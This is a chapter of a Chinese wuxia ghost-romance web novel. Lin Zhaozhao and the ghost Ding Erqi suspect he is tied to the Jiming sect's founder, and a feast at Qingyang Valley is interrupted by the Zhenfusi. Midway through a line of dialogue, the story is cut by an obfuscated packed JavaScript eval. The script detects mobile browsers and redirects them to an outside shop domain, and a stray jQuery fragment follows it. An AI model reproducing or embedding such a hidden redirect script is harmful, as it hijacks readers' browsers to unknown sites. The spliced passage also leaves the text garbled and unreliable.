“上次在京中见你师父与陆鸣筝一战我就隐隐有所感觉,今日见他与老谷主一战,我才确认,朝晖剑法,我曾经见过。不仅如此。”
风吹起丁二七的衣袖,他的魂剑渐渐在身前现形:“你看我的魂剑。”
这柄剑林昭昭不是第一次见丁二七使用,但皆在战时,她也未曾细细看过,如今丁二七将魂剑送到她的面前,她才发现,除了剑身上没有朝晖两字剑铭,这把剑几乎同朝晖剑一模一样。
“你是说,你的前世,或许与既明派相关。”
林昭昭瞪大了双眼,丁二七殒命近百年,那正是谋逆案发,既明派灭门之际,丁二七含恨而死,是黑白无常亲手镇压才能平息的怨气,如果说他当时是既明派的一员,国仇家恨,一切都说得通了。
且以丁二七的身手,他绝不会是既明派中寻常弟子,他的魂剑是以魂力所化,自然是仿照他生前惯用的兵刃,百年前朝晖剑的主人,那不就是既明派的开山祖师,骆一鸣?!
丁二七点了点头,怪不得林昭昭每次用剑,他都感觉到分外熟悉,仿佛能够预料到她的每一次出手,也能看出她出招的每一处破绽,他原以为是冥婚让两人之间产生了不同寻常的连接,直到看过程峰的朝晖剑法,他才意识到,他所熟悉的,或许就是既明派的剑法。
“师父说,骆一鸣自幼天资过人,琴棋书画无一不精,当日你在陆鸣筝府上下出的那一手棋,只是一步,暗藏的是无限杀机和变数,非高手不可为,当日你在林间吹笛,音律上亦颇通,再加上这一身功夫,难道你真是我的祖师爷爷不成?”
这下可好,一嫁嫁给了师父的师父的师父的师父,论辈分,她喊程峰一声师父,程峰得喊她一声祖师奶奶。
“倒也未必,只是我与既明派的关系,必定也非同一般。等你师父醒了,你留心问问,或许师门宗谱上,可有什么人生辰与我相符,再或者这个骆一鸣,还有没有留下一些其他痕迹。”
林昭昭点了点头,什么叫踏破铁鞋无觅处,得来全不费工夫,丁二七与她结缘,或许不全是阴差阳错,老天不忍心叫丁二七再苦等百年,所以让他与自己后辈徒孙相遇也未可知。
“林姑娘,你怎么不进来。”
厅里摆好了饭,是白皎在喊她,林昭昭向屋里答应了一声,又回头对丁二七说道:“现在人多口杂,我找机会一定向师父问清楚,你放心。”
两人进了屋内,程峰已经醒来,老谷主亲手捧了茶谢罪,两人这才休战,坐到桌子前,老谷主这些年来善自保养,已经许久不饮酒了,今日见到老友高兴,叫白清开了一坛藏了好些年的女儿红。
第一杯酒,自然是两个长辈碰杯:“当年你不肯带着昭昭留在青羊谷,我也不强留你,可青羊谷和五荒山,不过半个月的脚程,你竟然足足有十来年不曾登门,我多少次叫人给你递帖子,你连个回信都没有,如今怎么又肯走这一趟了?”
程峰端起手里的酒杯,一饮而尽:“当年我既明派的祖师爷骆一鸣身中剧毒,受人暗算,才死在镇抚司手上,江湖中传闻,此事定是青羊谷的手笔,论理,我们两个不该亲厚,可谁能想到,当年一个在山林间垂死的小药童,来日会是青羊谷的谷主。”
程峰与白华初遇,就是在五荒山,那时两人都还年少,白华甚至还没入青羊谷的门,只是镇上药铺里的帮工,镇上闹疫病,官府封住了他们进城的路,为了救人,年幼的白华只能独自上山采药,雨后的山路泥泞难行,一不小心,白华就跌进了一处山涧里。
若非程峰搭救,白华早已成五荒山上一具白骨,哪来的缘分遇上青羊谷的医师,被其选为首徒,又一步步走到谷主的位置上。
“百年前的事,后人又怎么知道个中详情,就算骆大侠真的是中了我青羊谷的毒,这么多年过去了,尘归尘,土归土,又与我俩何干?我知道,你与你的师父不同,在他心里,骆大侠是他的恩师,这一生除了复仇,他的心里再装不下别的,所以他在世时,你不与我联络,我也不怪你。
可他走了,你也过上了自己的日子,江湖中早已没有了既明派的位置,那一次你带着昭昭上门求药,我原以为你会顺势在我谷中住下,可是你没有,你还是回了五荒山,我不知道你这些年都在做些什么,可看到你的武功不退反进,昭昭又在你手上养得这么好,我就知道你这些年虽不愿在江湖上露面,可日子总归过得不错,我也就安心了。”
老友之间忆起往昔来,这酒杯最容易见底,他们几个小辈半拦半劝,好容易才哄着老谷主吃几口菜,老谷主与程峰不同,程峰自小修习的是既明派的内功心法,衰老的程度远慢于常人,可老谷主如今已是满头白发,今日同程峰一战,本就动了内力,如今再饮醉了酒,对身体有所损伤,白清劝不住,白皎却坚持不让他多喝。
几杯酒下肚,老谷主又看向了林昭昭:“昭昭如今几岁了?”
林昭昭放下筷子,答老谷主的话:“二十了。”
“大姑娘啦,模样生得这么好,又懂礼数,看着真不像是程峰这种傻汉子带大的姑娘。”
程峰眉头一皱:“你说谁是傻汉子?”
老谷主不理他,只看着林昭昭:“你们师徒两个就住在五荒山那种地方,周围连个鬼影都见不着,要我说,不如你们两个一起搬到青羊谷来,你也看到了,青羊谷这么大,多你们两个人不多,少你们两个不少,你师父是个老古板,你劝劝他。”
林昭昭端起了酒杯,敬了老谷主一杯,对老谷主笑道:“您老人家当真是误会我师父了,若是骆大侠身死一事真是遭了青羊谷的黑手,既明派先掌门爷爷怎么可能放过青羊谷,就是拼着一身毒,也定会上门来讨一个公道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565937|141700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
连先掌门都查不出其中端倪,我师父又怎么会为此耿耿于怀?他不过是生性自由惯了,不愿意受拘束罢了。”
老谷主酒杯在桌上一放:“我青羊谷不比那些所谓的名门正道,行事上没有那么多所谓的规矩,只有一条,就是对得起天地良心,昭昭,你不必担心,你若是住过来,我定将你看作亲生女儿一般,不让你受半点委屈。”
老谷主醉翁之意不在酒,说是要他们师徒二人留在谷内,句句却都在问林昭昭的意思,白皎暗自好笑,师父为师兄选夫人也不是一天两天了,林姑娘可是个有主意的主儿,逼得这么急,小心心急吃不了热豆腐。
林昭昭招架不住,连忙架桥拨火,将矛头引向她师父:“师父,您左右也无事,不如就留在谷里,陪老谷主住些日子,正好,当时蔷薇楼一案提及海宁镇,我近日也预备往海宁镇走一趟,查探线索。”
提到蔷薇楼,席上几人面色都凝重了起来,蔷薇楼仿制招魂引,害了这么多条人命,如今却叫他们全身而退,老谷主也没想到,卓凡竟将此事高高举起,轻轻放下,一封回信里,将蔷薇楼的事定性为六方与霍玲二人的手笔。
就在这时,一名蔷薇楼的弟子匆匆进来禀报:“老谷主、谷主,有一队人马自称是南骧镇抚司,要来拜访两位,守山的弟子本想阻拦,谁料他们竟硬闯了进来,如今人就在谷主的鸿雁厅里。”
“镇抚司?他们来做什么。”
“弟子不知,他们只说要见谷主。”
白清站起身来,对着几人行了个礼:“白皎,你留在这里待客,我往鸿雁厅走一趟,看看这镇抚司的葫芦里,究竟卖的是什么药。”
白皎却不肯:“我方才听林姑娘说了,这镇抚司的人,多半是冲着蔷薇楼的事来的,倒不如让我去会会他们。”
“正是,镇抚司的陆指挥使,说起来还算我的旧识,不如让我和白姑娘同去。”不知道陆鸣筝是否在此次的队伍里,当日两人都对海宁这个地方起了疑心,她被师父带回五荒山,陆鸣筝却一定不会放过这个从刘慷那里得到的线索。
“既然如此,你们三个就一起去一趟吧,既明派与镇抚司之间毕竟是世仇,程峰,你就留在这里,我们两个老哥俩好好叙叙旧,孩子们的事,就交给孩子们自己去处理。”
老谷主既然开了口,白清也只得带了两位姑娘同去,程峰将朝晖剑抛给了林昭昭,三人行了礼退下,程峰这才开了口:“镇抚司好歹是南骧朝廷最利的一把利剑,你就放心,让他们几个自去处置?”
“我青羊谷再怎么不济,也是南骧第一药谷,南骧国中,有多少医师出自我青羊谷的门下,若非是谋逆之罪,我倒不信,这镇抚司敢公然与我青羊谷撕破脸,再一个,我青羊谷武功虽然一般,却最善用毒,若这些人真有什么祸心,那我就让他们吃不了,兜着走。”